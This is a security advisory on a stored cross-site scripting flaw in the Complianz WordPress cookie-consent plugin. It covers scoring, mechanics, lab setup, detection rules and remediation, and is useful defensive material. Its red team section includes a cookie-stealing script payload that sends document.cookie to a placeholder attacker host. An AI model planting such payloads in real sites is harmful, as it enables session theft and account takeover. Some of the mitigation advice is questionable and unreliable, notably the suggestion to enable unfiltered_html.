CVE-2023-6498

Executive Summary

CVE-2023-6498 is a Stored Cross-Site Scripting (XSS) vulnerability in the Complianz – GDPR/CCPA Cookie Consent WordPress plugin, affecting all versions up to and including 6.5.5. The flaw arises from insufficient input sanitization and output escaping in admin settings, allowing authenticated attackers with administrator-level permissions to inject arbitrary web scripts. These scripts execute whenever a user accesses an injected page. The vulnerability is limited to multi-site installations or environments where unfiltered_html has been disabled. Despite a low EPSS score (0.0%), the risk is elevated in shared hosting or multi-tenant WordPress setups due to the potential for privilege escalation and lateral movement.

Supply Chain & Package Security

This vulnerability resides in a WordPress plugin distributed via the official WordPress plugin repository. No malicious package versions have been identified in PyPI, NPM, Go, or Ruby ecosystems. The plugin is not a direct dependency of any major package manager, but its presence in WordPress environments introduces supply chain risk through compromised admin accounts.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L
• Base Score: 4.4 (Medium)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: High (Administrator)
• User Interaction: Required
• Scope: Changed
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: Low

Threat Level: Medium. Exploitation requires admin-level access, but in multi-site environments, a compromised admin can pivot to other sites. The stored XSS can be used to steal session cookies, deface pages, or deliver malware.

Deep Dive & Mechanics

The vulnerability exists in the plugin's admin settings interface, specifically in fields that handle cookie consent configuration. The plugin fails to sanitize user-supplied input and escape output when rendering these settings. An attacker with administrator privileges can inject malicious JavaScript into fields such as custom CSS, custom scripts, or consent banner text. When other administrators or users view the settings page or the frontend banner, the injected script executes in their browser context.

Key Conditions:

• Only exploitable on WordPress multi-site installations or where unfiltered_html is disabled for administrators.
• The injected script is stored in the database and executed on subsequent page loads.
• The attack does not require user interaction beyond viewing the affected page.

Attack Flow:

1. Attacker gains admin access (via credential theft, social engineering, or other means).
2. Attacker navigates to Complianz settings and injects a payload like <script>alert('XSS')</script> into a vulnerable field.
3. The payload is stored in the database without proper sanitization.
4. When another admin or user loads the settings page or frontend, the script executes.

Vulnerable vs. Patched Code

Vulnerable Code (<= 6.5.5): The plugin uses esc_html() or similar functions inconsistently, or fails to call them at all on certain admin fields. Example vulnerable pattern:

echo $option_value; // No escaping

Patched Code (Hypothetical): A proper patch would apply esc_html() or wp_kses_post() to all admin settings output:

echo esc_html( $option_value );

Note: No official patch has been released by the vendor as of this report.

Exploitation & Lab Setup

Red Team

Prerequisites:

• WordPress multi-site installation with Complianz <= 6.5.5.
• Admin credentials for a site in the network.

Exploitation Steps:

1. Log in as an administrator.
2. Navigate to Settings > Complianz.
3. Locate a vulnerable field (e.g., "Custom CSS" or "Banner text").
4. Inject payload:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

5. Save settings.
6. Wait for another admin to view the settings page or for a user to load the frontend.

Lab Setup:

• Use Docker to spin up a WordPress multi-site instance:

  docker run -d --name wp-multisite -e WORDPRESS_MULTISITE=true wordpress
  

• Install Complianz plugin version 6.5.5.
• Create a second admin user for testing.

Blue Team

Detection:

• Monitor for unusual admin activity, especially changes to Complianz settings.
• Look for script tags in database fields related to Complianz options.
• Use WAF rules to block common XSS payloads in admin POST requests.

Hunting:

• Query the wp_options table for suspicious entries:

  SELECT * FROM wp_options WHERE option_name LIKE '%complianz%' AND option_value LIKE '%<script%';
  

Indicators of Compromise (IOCs)

• File Hashes: No known malicious files; the vulnerability is in the plugin's code.
• Network Indicators: Outbound HTTP requests to attacker-controlled domains from WordPress admin pages.
• Log Entries: Unusual changes to wp_options table entries containing complianz prefix.
• Database Artifacts: Stored XSS payloads in wp_options or wp_postmeta tables.

Detection Engineering

YARA Rule

rule CVE_2023_6498_Complianz_XSS {
    meta:
        description = "Detects stored XSS payloads in Complianz plugin settings"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2023-6498"
    strings:
        $xss_payload = /<script[^>]*>.*<\/script>/i
        $complianz_option = /complianz/i
    condition:
        $complianz_option and $xss_payload
}

Sigma Rule

title: Stored XSS in Complianz Plugin Settings
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects stored XSS payloads in Complianz plugin admin settings
author: Valters IT
logsource:
    category: application
    product: wordpress
detection:
    selection:
        EventID: 1000
        ObjectName|contains: 'complianz'
        ObjectValue|contains: '<script'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in custom CSS fields (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2023-6498 Complianz Stored XSS Payload"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=complianz_save_settings"; http_client_body; pcre:"/<script[^>]*>.*<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin on multi-site installations until a patch is available.
2. Restrict admin access to only trusted users.
3. Enable unfiltered_html capability for administrators (if safe to do so) to reduce attack surface.

Long-term Fix:

• Apply input sanitization and output escaping to all admin settings fields.
• Use wp_kses_post() for rich text fields and esc_html() for plain text.
• Implement a Content Security Policy (CSP) to mitigate XSS impact.

Workarounds:

• Use a Web Application Firewall (WAF) to block XSS payloads in admin POST requests.
• Monitor for unauthorized changes to Complianz settings.

Valters IT
Securing Digital Frontiers